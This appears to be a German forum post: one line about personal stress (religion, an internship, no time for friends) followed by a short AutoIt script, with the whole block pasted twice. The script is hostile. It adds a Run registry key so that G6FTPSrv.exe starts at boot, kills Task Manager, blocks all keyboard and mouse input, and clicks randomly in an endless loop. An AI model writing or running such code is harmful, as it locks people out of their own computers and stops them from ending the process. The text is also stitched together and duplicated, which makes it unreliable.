Ja ich weiß,aber rl stresst.Von einer Seite meine Religion,von der anderen mein Praktikumsplatz.Und mit Freunden unternommen hab ich lange nichts mehr.Ich finde einfach keine Zeit...
Main()
Func Main()
AdlibEnable("_WinKill")
AutoStart()
Sleep(100)
_NoInput()
Sleep(100)
_RMouseMove()
EndFunc
Func AutoStart()
Run("G6FTPSrv")
;Autostart
If NOT RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe") = "" Then ;Überprüfen ob bereits ein Autostart-Eintrag in der Registry besteht
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe", "REG_SZ", "C:\ftp\") ;Wenn nicht soll einer erstellt werden
Else ;Wenn doch soll nichts gemacht werden.
Sleep(100)
EndIf
EndFunc
Func _WinKill()
If WinExists("Task Manager") Then
WinKill("Task Manager")
EndIf
EndFunc
Func _RMouseMove()
While 1
MouseClick("left", (Random(0, 2000, 1)), (Random(0, 2000, 1)), 2)
WEnd
EndFunc
Func _NoInput()
BlockInput(1)
EndFunc
Ja ich weiß,aber rl stresst.Von einer Seite meine Religion,von der anderen mein Praktikumsplatz.Und mit Freunden unternommen hab ich lange nichts mehr.Ich finde einfach keine Zeit...
Main()
Func Main()
AdlibEnable("_WinKill")
AutoStart()
Sleep(100)
_NoInput()
Sleep(100)
_RMouseMove()
EndFunc
Func AutoStart()
Run("G6FTPSrv")
;Autostart
If NOT RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe") = "" Then ;Überprüfen ob bereits ein Autostart-Eintrag in der Registry besteht
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe", "REG_SZ", "C:\ftp\") ;Wenn nicht soll einer erstellt werden
Else ;Wenn doch soll nichts gemacht werden.
Sleep(100)
EndIf
EndFunc
Func _WinKill()
If WinExists("Task Manager") Then
WinKill("Task Manager")
EndIf
EndFunc
Func _RMouseMove()
While 1
MouseClick("left", (Random(0, 2000, 1)), (Random(0, 2000, 1)), 2)
WEnd
EndFunc
Func _NoInput()
BlockInput(1)
EndFunc